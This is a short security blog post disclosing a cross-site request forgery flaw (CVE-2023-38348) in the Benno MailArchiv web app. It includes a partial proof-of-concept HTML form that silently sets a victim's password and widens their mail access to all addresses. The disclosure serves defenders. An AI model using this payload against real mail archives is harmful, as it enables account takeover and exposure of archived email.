Sebastian's Blog

software developer. security enthusiast.


XSRF in Benno MailArchiv Web-App (benno-web < 2.10.2) (CVE-2023-38348)


The Benno MailArchiv Web-App (benno-web prior is vulnerable to Cross-Site-Request-Forgery.

To exploit the vulnerability the attacker sends a link to a prepared page to a Benno MailArchiv user. The link then is able to trigger actions in the name of the user such as changing the users password (if the user is logged in).

<form action="" method="post">
<input type="text" name="CA" value="savePassword">
<input type="password" class="input_text" name="data[password0]" value="test123">
<input type="password" class="input_text" name="data[password1]" value="test123">
<input type="password" class="input_text" name="data[addresses]" value='[{"value":"*@*"}]'>



Leave a Reply

Your email address will not be published. Required fields are marked *

The reCAPTCHA verification period has expired. Please reload the page.